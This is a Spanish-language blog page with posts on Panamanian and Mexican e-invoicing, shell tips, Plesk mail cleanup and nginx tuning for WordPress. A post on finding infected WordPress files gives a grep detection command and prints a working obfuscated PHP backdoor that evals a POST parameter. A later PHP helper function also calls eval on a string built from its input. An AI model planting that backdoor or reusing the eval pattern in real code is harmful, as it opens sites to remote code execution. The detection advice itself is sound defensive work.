viernes, 28 de enero de 2022

Ejemplo de factura electrónica 2022 en Panamá (DGI)

Código fuente Facturación 2022 Panamá

Panamá comenzó el proceso de migración a facturación electrónica,  actualmente ya salieron los primeros PAC

¿Qué es un PAC?

Un PAC es una compañía que se encarga de validar la correcta redacción de una factura, una vez validado se envía la factura a la DGI
 

¿Como es el proceso de facturación?

 La información de la factura tradicional ahora se captura en un archivo XML,  este archivo se forma según las reglas de la DGI;  este archivo XML se envía al PAC

 ¿Como generar el XML de facturación Panamá?

Soy programador o cuento con programador

En este caso te recomiendo utilizar la librería publicada en www.siteck.mx  es muy fácil de utilizar

Utilizar una plataforma WEB de facturación

Contacta  a siteck.com.mx para que te guíen

Contar con un software que ya genera la factura de X compañía

Contacta a tu proveedor favorito






 



jueves, 4 de noviembre de 2021

Factura electrónica CFDi 4.0 para el 2022

Cambios, Información y Ejemplos CFDi 4.0

 El SAT anuncio la nueva versión de facturación electronica v4.0 para CFDi, esta comienza en operación el 1 de Enero del 2022.

De enero al ultimo de abril se permitirán las versiones  3.3 y 4.0; pero a partir del primero de mayo unicamente estará disponible la version 4.0, asi que sera importante el actualizar nuestros sistemas de facturación electrónica.

Cambios para CFDi 4.0

Los cambios seran en la estructura del XML, por lo tanto tambien cambiarán elementos de la información, esto implica que habrán actualizaciones mayores


  • Algunos cambios son exportación
  • Complemento de pagos 2.0
  • Cancelación de documentos
  • Regimen del receptor
  • Domicilio fiscal del receptor
  • Conceptos más detallados
  • Información adicional para facturas globales a publico en general

Códigos fuente y XML de ejemplo CFDi 4.0

Hoy 3 de noviembre todavía no hay ejemplos disponibles,  pero informarón que pronto tendrán ejemplos y códigos fuente para:

  • PHP 5.3+
  • VB
  • CSharp
  • .net
  • WebService
  •  Java
  • entre otras
Estarán disponibles en multifacturas.com

Mantendré actualizado esta nota con las novedades que publiquen



domingo, 8 de noviembre de 2020

Como contar las lineas de codigo desde shell

 El siguiente comando te consulta en shell cuantas lineas de código cuenta el proyecto

 

# find . | xargs wc -l  


obteniendo un resultado como el siguiente:

(fragmento del final del resultado)

      99 ./me/masheditor/servicios/dbme_clasificacion_productos_descuentos/dbme_clasificacion_productos_descuentos.php
     133 ./me/masheditor/servicios/admin_administradores/admin_administradores.php
      64 ./me/masheditor/servicios/dbme_vendedores/lib.php
      19 ./me/masheditor/servicios/dbme_vendedores/dbme_vendedores.php
      43 ./me/masheditor/servicios/dbme_talleres/lib.php
      22 ./me/masheditor/servicios/dbme_talleres/dbme_talleres.php
      45 ./me/masheditor/servicios/dbme_procesos_formulas/lib.php
      23 ./me/masheditor/servicios/dbme_procesos_formulas/dbme_procesos_formulas.php
      51 ./me/masheditor/servicios/bd_general/lang/es-mx.php
     390 ./me/masheditor/servicios/bd_general/bd_general.php
      40 ./me/masheditor/servicios/dbme_eventos_prioridades/lib.php
      18 ./me/masheditor/servicios/dbme_eventos_prioridades/dbme_eventos_prioridades.php
      21 ./me/masheditor/servicios/dbme_movimientos_tipo/dbme_movimientos_tipo.php
      52 ./me/masheditor/servicios/dbme_movimientos_tipo/lib.php
     129 ./me/masheditor/servicios/dbme_plantillas_reglas_ejecuta_cron/dbme_plantillas_reglas_ejecuta_cron.php
      34 ./me/masheditor/servicios/dbme_talleres_etapas/lib.php
      20 ./me/masheditor/servicios/dbme_talleres_etapas/dbme_talleres_etapas.php
     456 ./me/masheditor/configuracion.php
    6301 ./me/masheditor/masheditor.php
      12 ./me/masheditor/libexternos/demo/_ini.php
       9 ./me/masheditor/libexternos/Fajax/_ini.php
      14 ./me/masheditor/libexternos/jquery_ui/_ini.php
      12 ./me/masheditor/libexternos/jquery_tools/_ini.php
      46 ./me/masheditor/libexternos/fValidator/_ini.php
       9 ./me/masheditor/libexternos/mootools/_ini.php
       9 ./me/masheditor/libexternos/prototype/_ini.php
      22 ./me/masheditor/libexternos/jquery/_ini.php
      14 ./me/masheditor/libexternos/scriptaculous/_ini.php
      74 ./me/css.php
      65 ./cancelar_analisis.php
  462478 total


martes, 18 de agosto de 2020

Detectar archivos infectados en wordpress y páginas web

 Es muy común que los sitios son atacados por hackers modificando o añadiendo archivos malignos (infectados), principalmente sitios elaborador con wordpress


Este comando te ayuda a detectar esos archivos, lo tienes que ejecutar por shell (ssh)

 

 

 grep -R  'eval(' /home3/m*/public_html/*  | grep -v 'Binary file' | grep -v '.css:' | grep -v '.js'  | grep -v retriev |grep -v evalua | grep -v revalida | grep -v jquery | grep -v '.po:' | grep -v doubleval | grep -v 'INSTR(LCASE('  | grep -v '(strpos(strtolower($entry' | grep -v PCLZIP | grep -v 'INSTR('  > /root/lista.txt && cat /root/lista.txt && cat /root/lista.txt | mail -s "Backup" -a /root/lista.txt tucorreo@algo.com





rojo remplazar
azul remplazar con instrucciones





instrucciones azul

/home /home2 /home3  es la unidad de disco a escanear

en el ejemplo esta
/home3/m*   =  disco 3 todos los usuarios cpanel que comiencen con M

/home3/medix   =  disco 3 escanear al usuario  medix

/home3/*   =  disco 3 todos los usuarios

/home2/*   =  disco 2 todos los usuarios

/home/*   =  disco 1 todos los usuarios

etc...



que hace el comando

Busca todos los archivos que contengan el comando eval , ese es el comando mas utilizado por atacantes, en un 99%;  PD no siempre entran por este comando pero casi siempre lo usan para una vez infectado atacar al sitio o hacer sus cosas.

luego perfecciono el comando con otros tipos de ataques o amenazas


Aclaraciones del resultado, este resultado muestra los archivos con ese comando, no significa que estén infectados , intente eliminar la mayor cantidad de usos buenos

Típicos  archivos maliciosos



caracteres raros


tiendadebuceo/history.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q64cbee'])){eval(${$s20}['q64cbee']);}?><?php


una cadena de muchas letras y numeros acompañados de un eval



eval(base64decode("mnAISDNQmnmxsa98hjn98lkASDumw3idmnaSDYB)ebiSAD867b3iu97ASDFNBIAJdn783hkjABSND783b2kjbnSAkjdnjuahsd3wb98HJb7983bkashdbashjdbajshbda....



 

 

 

lunes, 18 de mayo de 2020

Vaciar carpeta spam y trash en Plesk + dovecot

Plesk + Dovecot

Este ejemplo es para eliminar correos con 2 semanas de antigüedad (2w) desde shell

Desde shell ejecutar


# doveadm expunge -u micuenta@midominio.com mailbox INBOX.Spam before 2w;
# doveadm expunge -u micuenta@midominio.com mailbox INBOX.Trash before 2w;



o para aplicarlo a todos los correos en un servidor plesk


for i in $(plesk bin mail -l | tr '\t' ' ' | cut -d' ' -f 3-); do doveadm expunge -u "$i" mailbox INBOX.Spam before 2w; done
for i in $(plesk bin mail -l | tr '\t' ' ' | cut -d' ' -f 3-); do doveadm expunge -u "$i" mailbox INBOX.Trash before 2w; done




este segundo lo pueden añadir a cron



miércoles, 13 de mayo de 2020

Optimizar WordPress + Plesk + nginx



  1. Activar en plesk nginx
  2. En plesk ir al dominio
  3. ir a Configuración de Apache y nginx 
  4. desactivar   
  5. añadir en Directivas adicionales de nginx el siguiente codigo




if (!-e $request_filename) {
set $test P;
}
if ($uri !~ ^/(plesk-stat|webstat|webstat-ssl|ftpstat|anon_ftpstat|awstats-icon|internal-nginx-static-location)) {
set $test "${test}C";
}
if ($test = PC) {
rewrite ^/(.*)$ /index.php?$1;
}

# GZIP Compression
gzip on;
gzip_disable "MSIE [1-6]\\.(?!.*SV1)";
gzip_min_length 1100;
gzip_buffers 4 32k;
gzip_proxied any;
gzip_comp_level 9;
gzip_types text/plain text/css application/javascript application/x-javascript text/xml application/xml application/xml+rss text/javascript image/x-icon image/bmp image/svg+xml;
gzip_vary on;

# NGINX Caching
location ~* \.(?:ico|css|js|gif|jpe?g|png|svg|woff)$ {
    expires 30d;
    add_header Cache-Control "public";
    log_not_found off;
}

location ~* \.(jpg|jpeg|gif|png)$ {
    expires 365d;
    log_not_found off;
}

location ~* \.(pdf|css|html|js|swf)$ {
    expires 2d;
    log_not_found off;
}

location ~ \.css {
    add_header  Content-Type    text/css;
}
location ~ \.js {
    add_header  Content-Type    application/x-javascript;
}

# SECURITY
location ~* wp-config.php { deny all; }
location ~* "^/wp-content/(?!plugins/).*\.php" { deny all; }




Ahora ir a Configuración de PHP

memory_limit   = 200M
max_execution_time  = 15
post_max_size = 16M
upload_max_filesize =16M
opcache.enable  = on


Y listo, Wordpress volará


No olvides complementar con buenos caches de WordPress, de preferencia que ulticen APC y MemCache para mejorar su desempeño







viernes, 17 de mayo de 2019

funcion convertir cadena print_r a arreglo


Función print_r a arreglo


Les comparto esta función que permite pasar de una cadena generada de print_r hacia un arreglo


modo de uso


$cadena="Array
(
    [PAC] => Array
        (
            [usuario] => DEMO700101XXX
            [pass] => DEMO700101XXX
            [produccion] => NO
        )

    [conf] => Array
        (
            [cer] => ../../certificados/lan7008173r5.cer.pem
            [key] => ../../certificados/lan7008173r5.key.pem
            [pass] => 12345678a
        )

    [version_cfdi] => 3.3
    [cfdi] => C:\SDK2\timbrados\ejemplo_arrendamiento.xml
    [xml_debug] => C:\SDK2\timbrados\debug_ejemplo_arrendamiento.xml
    [php_openssl] => SI
    [factura] => Array
        (
            [serie] => A
            [folio] => 100
            [fecha_expedicion] => 2019-05-10T09:10:19
            [metodo_pago] => PUE
            [forma_pago] => 01
            [tipocomprobante] => I
            [moneda] => MXN
            [tipocambio] => 1.0
            [LugarExpedicion] => 27000
            [RegimenFiscal] => 601
            [subtotal] => 1000
            [total] => 840
        )

    [emisor] => Array
        (
            [rfc] => LAN7008173R5
            [nombre] => ACCEM SERVICIOS EMPRESARIALES SC
        )

    [receptor] => Array
        (
            [rfc] => SOHM7509289MA
            [nombre] => MIGUEL ANGEL SOSA HERNANDEZ
            [UsoCFDI] => P01
        )

    [conceptos] => Array
        (
            [0] => Array
                (
                    [ClaveProdServ] => 84111506
                    [cantidad] => 1
                    [unidad] => NO APLICA
                    [ClaveUnidad] => ACT
                    [descripcion] => RENTA DE OFICINA MAYO 2014
                    [valorunitario] => 1000.00
                    [importe] => 1000.00
                    [CuentaPredial] => Array
                        (
                            [Numero] => 12345678
                        )

                    [Impuestos] => Array
                        (
                            [Traslados] => Array
                                (
                                    [0] => Array
                                        (
                                            [Base] => 1000.00
                                            [Impuesto] => 002
                                            [TasaOCuota] => 0.160000
                                            [Importe] => 160.00
                                            [TipoFactor] => Tasa
                                        )

                                )

                            [Retenciones] => Array
                                (
                                    [0] => Array
                                        (
                                            [Impuesto] => 002
                                            [Importe] => 160.00
                                            [Base] => 1000.00
                                            [TasaOCuota] => 0.160000
                                            [TipoFactor] => Tasa
                                        )

                                    [1] => Array
                                        (
                                            [Impuesto] => 001
                                            [Importe] => 160.00
                                            [Base] => 1000.00
                                            [TasaOCuota] => 0.160000
                                            [TipoFactor] => Tasa
                                        )

                                )

                        )

                )

        )

    [impuestos] => Array
        (
            [TotalImpuestosTrasladados] => 160.00
            [TotalImpuestosRetenidos] => 320.00
            [translados] => Array
                (
                    [0] => Array
                        (
                            [Impuesto] => 002
                            [TasaOCuota] => 0.160000
                            [Importe] => 160.00
                            [TipoFactor] => Tasa
                        )

                )

            [retenciones] => Array
                (
                    [0] => Array
                        (
                            [Impuesto] => 002
                            [importe] => 160.00
                        )

                    [1] => Array
                        (
                            [impuesto] => 001
                            [importe] => 160.00
                        )

                )

        )

)";

$arreglo=print_r_reverza($cadena);

y listo....

IMPORTANTE: esta primer version no es compatible si el valor tiene  comillas, parentesis, palabra array , llaves o [ ]




function print_r_reverza($cadena)
{
    $cadena=str_replace("\r",'',$cadena);
    $renglones=explode("\n",$cadena);
    $linea_con_coma=true;
    $cadena_final='$datos=';
    foreach($renglones AS $renglon)
    {
        if(strlen($renglon)<1)
            continue;
           
            if($renglon=='(' OR $renglon==')' OR $renglon=='Array' )
            {
                $linea_con_coma=false;           
            }
            else
            {
                $linea_con_coma=true;
            }
           
           
            if(strpos($renglon,'=>'))
            {
               $renglon=formato_renglon($renglon);
   
               
               
            }
            else
            {
   
                $renglon=str_replace('"Array",','array ',$renglon);
                $renglon=str_replace('Array','array',$renglon);
               
    //            echo "$renglon<br/>";       
            }
           
               if($linea_con_coma==true)
               {
                    $cadena_final.="$renglon\",";
               }
               else
               {
                    $cadena_final.="$renglon\n";
               }
              
               $cadena_final=str_replace(',)',')',$cadena_final);
   
    }
   
   
    $cadena_final="$cadena_final;";
    $cadena_final=str_replace('  ',' ',$cadena_final);
    $cadena_final=str_replace('  ',' ',$cadena_final);
    $cadena_final=str_replace('  ',' ',$cadena_final);
    $cadena_final=str_replace('  ',' ',$cadena_final);
    $cadena_final=str_replace('  ',' ',$cadena_final);
    $cadena_final=str_replace('  ',' ',$cadena_final);
    $cadena_final=str_replace('  ',' ',$cadena_final);
   
    $cadena_final=str_replace('"Array",','array ',$cadena_final);
    $cadena_final=str_replace('"Array,','array ',$cadena_final);
   
    $cadena_final=str_replace('(",','(',$cadena_final);
    $cadena_final=str_replace(', )"',')',$cadena_final);
    eval($cadena_final);

    return $datos;  
}



function formato_renglon($renglon)
{

       $renglon=str_replace('=> ','=> "',$renglon);
       $renglon=str_replace('[','"',$renglon);
       $renglon=str_replace(']','"',$renglon);

    return $renglon;
}


Ejemplo de factura electrónica 2022 en Panamá (DGI)

Código fuente Facturación 2022 Panamá Panamá comenzó el proceso de migración a facturación electrónica,  actualmente ya salieron los primero...